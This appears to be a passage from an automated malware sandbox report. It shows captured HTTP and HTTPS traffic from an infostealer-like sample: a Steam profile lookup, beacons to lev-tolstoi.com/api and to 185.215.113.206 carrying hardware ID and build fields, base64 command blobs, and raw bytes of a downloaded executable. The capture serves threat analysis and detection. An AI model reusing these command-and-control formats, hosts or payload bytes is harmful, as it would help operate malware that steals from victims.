Dec 23, 2024 07:16:05.772269964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:16:04 GMT Content-Type: application/octet-stream Content-Length: 2907648 Last-Modified: Mon, 23 Dec 2024 05:12:34 GMT Connection: keep-alive ETag: "6768f142-2c5e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 9d b5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@O,@M$a$$ $h@.rsrc$x@.idata $z@pkmjmmvt$\|@ypshbykvO8,@.taggant0O"<,@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49771	185.215.113.206	80	6020	C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:16:12.520580053 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 07:16:13.845408916 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:16:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 07:16:13.852412939 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 41 30 33 43 46 32 33 46 31 35 33 32 35 36 34 35 30 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="hwid"C0A03CF23F153256450765------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="build"stok------BAEBFIIECBGCBGDHCAFC--
Dec 23, 2024 07:16:14.292038918 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:16:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	23.55.153.106	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:37 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-23 06:15:38 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 23 Dec 2024 06:15:37 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=38bb275ba7a633abacb01e4d; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-23 06:15:38 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-23 06:15:38 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-23 06:15:38 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:39 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-23 06:15:39 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 06:15:40 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rv81p8iftqd23ouhfe1fc5je97; expires=Fri, 18 Apr 2025 00:02:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FsvivamuNyUhCwNi%2FdWZ3lEyh%2BVVhT%2FJZEB5i7fVSBQM5wOS6WPGHGMxAfdeHtHow7JTgW6MlIVzC6AE21NScfGKSQIsuf71uZ8689CbHZxKy%2BZIXWg8UCMci8kxktSwyD8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6637eb1cef72ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1779&rtt_var=683&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=906&delivery_rate=1585233&cwnd=234&unsent_bytes=0&cid=3ad7ae09c22dd980&ts=761&x=0"
2024-12-23 06:15:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 06:15:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.66.86	443	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 06:15:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: lev-tolstoi.com
2024-12-23 06:15:41 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 06:15:42 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 06:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m5k7go8pk4dj2loapvip34nerk; expires=Fri, 18 Apr 2025 00:02:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7svPwNZtdiNHvvgVtvctsZSFMxm02e8CHSmbapBt%2FLuRrMdD5DY8Ty6wQqLjXOT7G91Ow5TdQruoLdYKd8iRP9IDVxu8YSlsUyeujnBIVgPk7vJbaZlncJ1PGqd0f0p%2BnQE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6637f7b9564201-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&min_rtt=2052&rtt_var=779&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=946&delivery_rate=1423001&cwnd=225&unsent_bytes=0&cid=3cbe15db980994b4&ts=1070&x=0"
2024-12-23 06:15:42 UTC	247	IN	Data Raw: 63 34 61 0d 0a 33 47 47 6f 6c 4f 43 53 2b 67 35 6a 43 76 59 79 33 78 42 31 4c 53 51 62 44 58 57 4d 76 4c 31 2b 6a 73 55 70 65 7a 72 45 63 2b 43 6e 51 39 36 32 32 71 62 57 4c 42 42 76 31 41 69 72 59 67 42 49 43 44 6c 73 45 61 36 47 32 78 2f 69 74 6b 78 58 47 4c 49 65 77 75 59 48 79 66 69 54 39 39 59 73 42 6e 4c 55 43 49 52 72 56 30 68 4b 4f 54 64 58 36 64 62 66 48 2b 4b 6e 53 42 42 56 74 42 2b 44 74 41 33 50 2f 49 58 78 6e 6d 38 50 5a 35 4e 58 75 6e 45 66 51 30 31 32 5a 52 69 75 6b 4a 38 62 39 4f 63 54 57 58 65 68 42 34 47 52 41 4e 76 2f 77 75 2f 57 64 55 46 76 6d 42 44 6c 4d 68 52 49 52 6e 64 72 45 65 66 55 31 52 62 71 70 6b 30 52 53 71 30 56 69 4c 51 44 7a 50 32 50 2b 49 70 69 42 57 43 59 55 62 42 78 56 77 45 47 66 6e 64 58 74 70 Data Ascii: c4a3GGolOCS+g5jCvYy3xB1LSQbDXWMvL1+jsUpezrEc+CnQ9622qbWLBBv1AirYgBICDlsEa6G2x/itkxXGLIewuYHyfiT99YsBnLUCIRrV0hKOTdX6dbfH+KnSBBVtB+DtA3P/IXxnm8PZ5NXunEfQ012ZRiukJ8b9OcTWXehB4GRANv/wu/WdUFvmBDlMhRIRndrEefU1Rbqpk0RSq0ViLQDzP2P+IpiBWCYUbBxVwEGfndXtp
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 36 4d 4c 75 2b 32 57 67 78 56 74 68 66 43 6f 55 33 54 74 6f 58 38 32 44 52 42 59 4a 68 65 75 48 45 59 53 45 64 35 66 52 6a 75 33 64 63 55 36 4b 31 45 46 6c 65 6f 47 34 57 32 43 73 33 35 68 66 69 65 59 77 49 6f 32 68 43 36 61 6c 63 58 42 6c 6c 2f 46 4f 33 4b 30 67 32 73 75 41 55 41 47 4b 45 64 77 75 5a 44 7a 50 69 44 2f 5a 68 2b 43 57 4f 66 56 61 39 35 48 6b 4a 4c 65 57 49 64 34 64 33 66 47 2b 61 74 52 42 4e 63 71 78 79 45 76 67 4f 4b 75 4d 4c 33 67 43 78 5a 4b 4c 64 56 72 58 55 62 57 51 52 44 4c 77 69 67 78 35 38 62 34 4f 63 54 57 56 43 6a 45 6f 47 31 44 4d 6e 2b 69 65 4b 59 66 67 64 6c 6b 55 4b 37 64 78 6c 46 52 57 74 6c 47 65 6a 64 31 68 66 6c 6f 6b 77 64 47 4f 68 52 68 61 5a 44 6b 72 61 6a 2f 5a 4e 67 43 33 2b 55 45 4b 49 38 44 67 39 42 64 53 39 50 72 Data Ascii: 6MLu+2WgxVthfCoU3TtoX82DRBYJheuHEYSEd5fRju3dcU6K1EFleoG4W2Cs35hfieYwIo2hC6alcXBll/FO3K0g2suAUAGKEdwuZDzPiD/Zh+CWOfVa95HkJLeWId4d3fG+atRBNcqxyEvgOKuML3gCxZKLdVrXUbWQRDLwigx58b4OcTWVCjEoG1DMn+ieKYfgdlkUK7dxlFRWtlGejd1hflokwdGOhRhaZDkraj/ZNgC3+UEKI8Dg9BdS9Pr
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 73 36 51 73 65 51 4f 5a 4a 77 70 51 41 33 76 57 49 73 71 31 76 44 32 61 54 52 76 31 74 57 56 59 47 66 6d 4e 58 74 70 37 53 48 65 53 68 57 52 5a 56 70 52 2b 4d 73 51 62 46 2f 6f 4c 77 6c 57 6b 46 59 35 39 54 73 48 59 46 52 55 5a 78 61 68 62 6b 31 4a 39 53 72 4b 42 54 57 51 44 6d 49 4a 57 31 51 66 2f 31 6a 50 36 66 65 6b 46 33 32 6b 6e 39 64 52 73 50 48 6a 6c 69 48 2b 76 62 30 42 33 6d 71 55 34 54 56 4b 34 66 67 61 77 4d 7a 76 61 4f 2b 4a 4a 68 44 32 79 63 57 62 5a 35 45 55 39 48 63 79 39 5a 72 74 6e 48 58 4c 54 6e 66 78 35 55 71 78 37 41 69 77 44 45 2b 49 58 6d 32 48 4e 50 63 64 52 58 73 54 4a 50 44 30 70 77 62 78 7a 6b 32 74 38 62 34 61 4a 49 48 6c 75 72 46 6f 69 77 42 4d 37 36 69 2f 32 65 62 41 5a 73 6b 55 4b 34 65 78 74 44 42 6a 63 76 45 50 61 65 68 31 Data Ascii: s6QseQOZJwpQA3vWIsq1vD2aTRv1tWVYGfmNXtp7SHeShWRZVpR+MsQbF/oLwlWkFY59TsHYFRUZxahbk1J9SrKBTWQDmIJW1Qf/1jP6fekF32kn9dRsPHjliH+vb0B3mqU4TVK4fgawMzvaO+JJhD2ycWbZ5EU9Hcy9ZrtnHXLTnfx5Uqx7AiwDE+IXm2HNPcdRXsTJPD0pwbxzk2t8b4aJIHlurFoiwBM76i/2ebAZskUK4extDBjcvEPaeh1
2024-12-23 06:15:42 UTC	168	IN	Data Raw: 57 51 44 6d 47 49 75 73 44 63 54 2f 6a 2f 61 51 61 77 39 6c 6e 31 61 32 64 52 42 4a 53 33 46 69 45 75 33 66 32 78 62 2b 70 45 41 54 56 61 78 52 7a 50 34 45 30 72 62 61 73 4c 39 67 4b 48 69 50 51 71 73 79 43 41 46 66 4f 57 67 62 72 6f 61 66 48 2b 4f 75 52 42 46 51 71 52 36 47 73 41 58 4d 2b 34 66 2f 6b 6e 34 4a 5a 70 6c 62 73 6e 6b 46 54 30 74 39 59 78 50 6d 31 64 56 63 6f 75 64 4d 41 52 6a 2b 55 62 65 7a 44 4d 72 31 6c 4c 43 48 49 68 67 6f 6b 31 7a 39 4b 6c 64 44 53 48 6c 67 47 2b 4c 56 31 78 0d 0a Data Ascii: WQDmGIusDcT/j/aQaw9ln1a2dRBJS3FiEu3f2xb+pEATVaxRzP4E0rbasL9gKHiPQqsyCAFfOWgbroafH+OuRBFQqR6GsAXM+4f/kn4JZplbsnkFT0t9YxPm1dVcoudMARj+UbezDMr1lLCHIhgok1z9KldDSHlgG+LV1x
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 33 63 64 32 0d 0a 33 67 71 55 77 63 55 61 34 5a 6b 4c 38 48 77 76 65 4d 2f 35 6c 6f 42 47 32 51 56 37 6c 30 47 41 38 49 4f 57 67 50 72 6f 61 66 4d 38 75 53 43 54 68 69 35 67 37 4d 70 30 50 4e 2b 73 4b 6f 32 47 41 43 5a 4a 78 66 75 33 73 62 52 55 39 79 59 78 7a 71 30 74 59 5a 36 71 5a 4f 48 46 6d 69 48 59 69 34 41 4d 6e 35 6a 66 2b 51 4c 45 38 6f 6b 30 6a 39 4b 6c 64 71 55 58 4a 68 45 61 37 42 6b 51 57 73 6f 45 64 5a 41 4f 59 64 69 37 67 46 7a 2f 71 44 39 70 42 70 43 57 79 56 56 72 74 78 47 45 74 44 65 47 41 54 34 74 44 56 48 65 32 72 51 42 5a 54 6f 31 48 4d 2f 67 54 53 74 74 71 77 71 57 38 58 66 34 52 63 2f 57 31 5a 56 67 5a 2b 59 31 65 32 6e 74 34 4f 35 71 31 46 48 46 65 6a 45 6f 32 35 44 73 7a 36 69 50 6d 51 61 67 35 68 68 6c 4f 78 66 42 42 42 53 6e 64 Data Ascii: 3cd23gqUwcUa4ZkL8HwveM/5loBG2QV7l0GA8IOWgProafM8uSCThi5g7Mp0PN+sKo2GACZJxfu3sbRU9yYxzq0tYZ6qZOHFmiHYi4AMn5jf+QLE8ok0j9KldqUXJhEa7BkQWsoEdZAOYdi7gFz/qD9pBpCWyVVrtxGEtDeGAT4tDVHe2rQBZTo1HM/gTSttqwqW8Xf4Rc/W1ZVgZ+Y1e2nt4O5q1FHFejEo25Dsz6iPmQag5hhlOxfBBBSnd
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 64 67 56 35 37 56 42 48 6c 2b 74 47 59 6d 78 42 64 6a 36 6a 4f 4b 64 66 68 4d 6f 32 68 43 36 61 6c 63 58 42 6b 39 6f 42 2f 37 64 6e 53 33 36 70 46 30 53 56 61 70 52 6e 66 41 61 69 76 47 4f 73 4d 41 73 42 32 65 64 55 37 4a 7a 48 6b 4e 4c 66 47 59 53 37 39 6a 62 46 75 61 6e 54 52 39 5a 6f 78 75 42 76 77 6e 44 38 59 72 33 6d 33 35 42 4a 74 52 58 70 54 4a 50 44 32 39 2b 66 52 6e 2b 6e 73 42 53 39 65 64 4d 46 52 6a 2b 55 59 61 30 44 4d 37 78 6a 76 61 64 61 67 78 70 6d 31 47 39 66 52 4e 45 54 33 39 75 47 75 76 54 32 77 37 6d 72 45 51 56 55 61 6f 63 77 76 42 44 7a 65 37 43 71 4e 68 64 44 47 61 61 56 36 73 79 43 41 46 66 4f 57 67 62 72 6f 61 66 48 65 43 6f 53 42 5a 62 70 52 43 49 72 42 48 47 2f 34 72 31 6c 47 63 50 62 6f 5a 57 73 6e 73 55 54 45 39 2b 5a 78 76 6b Data Ascii: dgV57VBHl+tGYmxBdj6jOKdfhMo2hC6alcXBk9oB/7dnS36pF0SVapRnfAaivGOsMAsB2edU7JzHkNLfGYS79jbFuanTR9ZoxuBvwnD8Yr3m35BJtRXpTJPD29+fRn+nsBS9edMFRj+UYa0DM7xjvadagxpm1G9fRNET39uGuvT2w7mrEQVUaocwvBDze7CqNhdDGaaV6syCAFfOWgbroafHeCoSBZbpRCIrBHG/4r1lGcPboZWsnsUTE9+Zxvk
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 33 6e 45 77 39 49 73 52 61 64 38 42 71 4b 38 59 36 77 77 43 77 48 59 5a 4a 58 75 33 77 46 53 6b 42 32 59 42 37 6e 32 74 63 66 37 4b 4e 50 48 6c 32 6c 48 59 6d 35 41 4d 58 79 69 2f 36 52 59 30 45 6d 31 46 65 6c 4d 6b 38 50 5a 32 4a 73 47 2b 4f 65 77 46 4c 31 35 30 77 56 47 50 35 52 6a 72 41 47 79 76 79 45 39 4a 31 71 43 32 32 55 57 37 35 39 45 30 6c 43 64 6d 38 63 35 39 2f 5a 47 65 61 73 54 52 52 62 6f 42 66 43 38 45 50 4e 37 73 4b 6f 32 45 77 61 5a 5a 68 58 2f 57 31 5a 56 67 5a 2b 59 31 65 32 6e 74 51 51 36 4b 42 4c 46 46 75 75 46 49 61 30 42 73 72 2b 6b 50 69 59 61 78 4e 36 6c 46 6d 34 66 68 52 50 51 6e 39 6d 45 65 33 61 6e 31 4b 73 6f 46 4e 5a 41 4f 59 38 6a 72 6b 71 7a 65 33 43 37 39 5a 31 51 57 2b 59 45 4f 55 79 46 6b 52 4d 64 6d 49 55 36 4e 33 55 47 Data Ascii: 3nEw9IsRad8BqK8Y6wwCwHYZJXu3wFSkB2YB7n2tcf7KNPHl2lHYm5AMXyi/6RY0Em1FelMk8PZ2JsG+OewFL150wVGP5RjrAGyvyE9J1qC22UW759E0lCdm8c59/ZGeasTRRboBfC8EPN7sKo2EwaZZhX/W1ZVgZ+Y1e2ntQQ6KBLFFuuFIa0Bsr+kPiYaxN6lFm4fhRPQn9mEe3an1KsoFNZAOY8jrkqze3C79Z1QW+YEOUyFkRMdmIU6N3UG
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 41 47 4c 42 52 32 75 78 4e 69 75 54 43 71 4e 67 72 41 6e 71 47 56 72 35 6b 46 41 68 34 52 30 67 42 35 4e 6e 50 47 2f 75 6f 43 31 63 59 71 56 48 61 68 30 50 44 38 5a 6e 68 6a 6d 45 52 62 39 52 76 38 7a 49 50 44 78 34 35 57 68 54 67 30 4e 67 4b 2f 65 70 73 44 31 4b 68 41 59 57 70 44 49 71 34 77 76 62 59 4e 46 49 6d 31 46 53 73 4d 6b 38 66 46 43 49 36 52 4c 6d 4f 6a 51 4f 69 76 67 73 50 47 50 35 44 7a 50 34 52 69 71 37 43 74 35 74 2b 45 32 36 58 52 72 34 31 4b 58 46 68 59 32 49 52 2b 63 2f 68 49 75 75 39 52 68 39 50 74 31 32 58 76 51 33 45 38 5a 53 77 31 69 77 4f 4b 4d 78 70 2f 54 70 58 63 41 67 35 64 31 65 32 6e 75 6f 66 34 71 6c 4d 44 30 6e 72 4e 70 69 7a 42 64 33 6e 77 72 37 59 61 6b 45 77 78 42 37 39 64 67 59 50 48 69 6b 39 54 4c 75 4e 69 45 79 2b 75 41 Data Ascii: AGLBR2uxNiuTCqNgrAnqGVr5kFAh4R0gB5NnPG/uoC1cYqVHah0PD8ZnhjmERb9Rv8zIPDx45WhTg0NgK/epsD1KhAYWpDIq4wvbYNFIm1FSsMk8fFCI6RLmOjQOivgsPGP5DzP4Riq7Ct5t+E26XRr41KXFhY2IR+c/hIuu9Rh9Pt12XvQ3E8ZSw1iwOKMxp/TpXcAg5d1e2nuof4qlMD0nrNpizBd3nwr7YakEwxB79dgYPHik9TLuNiEy+uA
2024-12-23 06:15:42 UTC	1369	IN	Data Raw: 45 6f 79 77 42 4e 7a 6e 77 72 37 59 59 30 45 77 72 52 44 31 4d 69 67 42 42 6d 45 76 54 36 37 72 33 42 4c 69 6f 46 30 49 46 59 45 66 68 62 38 56 32 75 47 4e 73 4e 59 73 42 79 6a 4d 41 76 4d 79 45 31 34 47 49 54 39 46 74 59 75 4d 53 37 7a 31 56 46 64 42 35 67 66 43 35 6c 47 45 74 70 43 77 77 43 78 47 61 34 5a 43 75 33 45 42 54 41 46 48 55 54 44 67 32 64 34 4b 2f 4c 42 45 56 6e 61 51 4d 4c 79 41 46 73 6e 34 6a 50 65 4f 66 55 45 6d 31 46 2f 39 4b 69 34 50 44 6a 6c 51 57 61 37 47 6e 30 53 73 6b 6b 67 58 56 71 45 48 6b 2f 4d 6b 78 50 47 44 35 6f 68 37 44 69 65 36 5a 70 77 79 57 51 39 41 4f 54 64 46 6f 4a 37 62 44 61 7a 2f 47 30 73 44 38 30 4c 56 37 6c 48 56 75 4a 75 77 6a 69 78 5a 4f 74 6f 51 72 7a 4a 50 44 77 46 36 66 51 58 6f 33 63 6b 66 71 35 6c 31 50 6c 61 Data Ascii: 